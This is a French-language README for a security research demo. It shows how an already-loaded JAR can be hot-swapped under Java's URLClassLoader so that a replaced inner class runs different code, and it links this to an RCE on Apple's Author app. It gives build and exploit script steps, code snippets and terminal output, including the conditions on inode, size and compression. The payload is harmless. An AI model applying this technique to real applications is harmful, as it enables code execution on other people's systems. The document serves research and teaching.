
Démonstration de l'échange de JAR via URLClassLoader montrant la capacité à remplacer et exploiter un JAR déjà chargé avec des classes internes.
L'exemple de code suivant montre la possibilité d'échanger à chaud un fichier JAR déjà chargé et d'obtenir une exécution de code en abusant du fait que les classes internes accèdent toujours au fichier JAR lorsqu'elles sont invoquées, tant que l'inode ne change pas.
Testé sur MacOS avec OpenJDK (et également exploité sur l'éditeur Author d'Apple via Transporter).
Démo tirée de la conférence de Frans Rosén « Story of a RCE on Apple through hot jar swapping » lors de la NahamCon 2022 UE.
build-and-run.shVous l'exécutez avec :
./build-and-run.sh
Cela va :
Compile HelloWorld/*.java into HelloWorld.jar
Compile Bootstrapper/*.java into Bootstrapper.jar
Make a copy of HelloWorld.jar into OrigHelloWorld.jar
Run Bootstrapper.jar
Bootstrapper chargera et exécutera la classe HelloWorld.Main à l'aide d'URLClassLoader et vous invitera à exécuter la méthode hello de la classe HelloWorld.Secondary, également déjà chargée. Cela permet de contrôler le moment où remplacer le JAR déjà chargé.
$ ./build-and-run.sh
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)
Vous pouvez maintenant décider d'appuyer sur Entrée sans remplacer aucun JAR, ce qui affichera le déroulement normal du code de HelloWorld/Secondary.java :
Hello from secondary class, here are all files in testdir/
testdir/hej
testdir/hej123
This is from the legit postVisitDirectory function:
testdir
End of run, goodbye
exploit.shLe script exploit.sh va :
Compile Exploit/HelloWorld/*.java and move *.class files over to BuildDirForExploit/
Compile a exploit.jar from BuildDirForExploit/-dir
Compare the exploit.jar and OrigHelloWorld.jar using unzip -lv
Tell you if there's a diff or not based on size, compression rate and compression size
Copy exploit.jar over the existing HelloWorld.jar regardless if there's a difference or not
L'étape de copie, qui consiste à écraser HelloWorld.jar avec exploit.jar, est importante, car si l'inode change, l'exploit ne réussira pas. Une commande mv écrit un nouvel inode, mais cp dans un fichier existant n'en crée pas. Il en va de même avec l'extraction ZIP : l'inode du JAR déjà existant ne change jamais, ce qui permet à l'exploit de fonctionner.
Si vous souhaitez tester le remplacement à chaud du JAR, exécutez exploit.sh dans une autre fenêtre après avoir lancé build-and-run.sh, mais avant d'appuyer sur Entrée :
$ ./build-and-run.sh
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)
## Run this in a different terminal:
$ ./exploit.sh
NO DIFF IN COMPRESSION, EXPLOIT WILL SUCCEED
-rw-r--r-- 1 frans staff 2281 Dec 9 13:20 rce.jar
-rw-r--r--@ 1 frans staff 2281 Dec 9 13:20 ../HelloWorld.jar
## Now click enter in the other tab to complete the ./build-and-run.sh)
Si vous appuyez maintenant sur Entrée dans ./build-and-run.sh, vous devriez voir le code remplacé :
Hello from secondary class, here are all files in testdir/
testdir/hej
testdir/hej123
AAAAAAAFGFFFFAAAGAAAAFAAAAAFFFFFAAAFA different code
testdir
End of run, goodbye
Ce qui montre que nous pouvons abuser du fait que les classes internes/anonymes sont toujours chargées depuis le fichier JAR physique, même si l'URLClassLoader a déjà chargé le JAR avant que nous le remplacions.
Ce dépôt de code tente d'expliquer qu'il est possible d'écraser des fichiers JAR déjà chargés pour obtenir une exécution de code, sous réserve de quelques conditions préalables.
L'idée est que le JAR a été initialement chargé avec URLClassLoader :
URL[] classLoaderUrls = new URL[]{new URL("file://" + System.getProperty("user.dir") + "/HelloWorld.jar")};
URLClassLoader urlClassLoader = new URLClassLoader(classLoaderUrls);
Class<?> beanClass = urlClassLoader.loadClass("HelloWorld.Main");
Constructor<?> constructor = beanClass.getConstructor();
Object beanObj = constructor.newInstance();
Method method = beanClass.getMethod("hello");
Et une méthode secondaire a également été chargée au démarrage mais jamais invoquée :
// Initiating the secondary class on boot, this is the one we replace the inner class of
Class<?> secondaryClass = urlClassLoader.loadClass("HelloWorld.Secondary");
Constructor<?> secondaryConstructor = secondaryClass.getConstructor();
Object secondaryObj = secondaryConstructor.newInstance();
Method secondaryMethod = secondaryClass.getMethod("hello");
Si le JAR est ensuite remplacé pendant que l'application s'exécute, et que la classe chargée dont aucune méthode n'a jamais été invoquée possède également des classes internes, nous pouvons lui faire exécuter un code différent depuis le nouveau JAR si l'invocation a lieu plus tard :
// Invoke secondary class hello that contains an inner class
secondaryMethod.invoke(secondaryObj);
Ainsi, si cette méthode contient une classe interne (elles apparaissent dans le JAR sous la forme $1.class) et que nous remplaçons la classe interne par quelque chose ayant la même taille et le même taux de compression, nous pouvons remplacer à chaud le JAR et faire exécuter notre propre code.
La classe anonyme du fichier Exploit/HelloWorld/Secondary.java est compilée en classe interne Exploit/HelloWorld/Secondary$1.class, qui a la même taille et le même taux de compression que lorsque HelloWorld/Secondary.java est compilé et compressé. Si la taille ou le taux de compression différait, vous obtiendriez un crash en appuyant sur Entrée dans build-and-run.sh.
Ainsi, si vous modifiez Exploit/HelloWorld/Secondary.java, par exemple (functionn au lieu de function:) :
public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
System.out.println("\nThis is from the legit postVisitDirectory functionn");
System.out.println(dir);
return FileVisitResult.CONTINUE;
}
Là où le résultat de compression est le même mais le taux de compression est incorrect :
$ ./exploit.sh
6c6
< 1430 643 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r-- 1 frans staff 2280 Dec 9 13:44 exploit.jar
-rw-r--r--@ 1 frans staff 2281 Dec 9 13:44 ../HelloWorld.jar
vous verriez :
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)
Hello from secondary class, here are all files in testdir/
Exception in thread "main" java.lang.reflect.InvocationTargetException
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at Bootstrapper.Main.main(Main.java:38)
Caused by: java.lang.NoClassDefFoundError: HelloWorld/Secondary$1
at HelloWorld.Secondary.hello(Secondary.java:11)
... 5 more
Caused by: java.lang.ClassNotFoundException: HelloWorld.Secondary$1
at java.net.URLClassLoader.findClass(URLClassLoader.java:387)
at java.lang.ClassLoader.loadClass(ClassLoader.java:418)
at java.lang.ClassLoader.loadClass(ClassLoader.java:351)
... 6 more
Sur OpenJDK, il semble que si la taille d'origine diffère mais que la taille compressée est la même, cela fonctionne toujours :
public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
System.out.println("AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA");
System.out.println(dir);
return FileVisitResult.CONTINUE;
}
$ ./exploit.sh
6c6
< 1437 644 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
9c9
< 2895 45% 5
---
> 2888 45% 5
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r-- 1 frans staff 2281 Dec 9 13:52 exploit.jar
-rw-r--r--@ 1 frans staff 2282 Dec 9 13:52 ../HelloWorld.jar
Hello from secondary class, here are all files in testdir/
testdir/hej
testdir/hej123
AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA
testdir
Le script exploit.sh indiquera toujours qu'il y a une différence, car cela pourrait ne pas fonctionner dans toutes les versions.
Vous verrez également que si vous modifiez des éléments dans Exploit/HelloWorld/Secondary.java en dehors de la classe interne, comme :
System.out.println("\nEnd of run, goodbye");
en :
System.out.println("\nEnd of run, goodbya");
ce qui donnera à Secondary.class le même taux de compression et la même taille, cela ne déclenchera toujours pas le contenu remplacé, car la classe est déjà chargée par URLClassLoader. Cela confirme que cela n'affecte que les classes internes (celles nommées $1.class dans le JAR), puisqu'elles sont chargées depuis le fichier JAR lorsqu'elles sont utilisées :
End of run, goodbye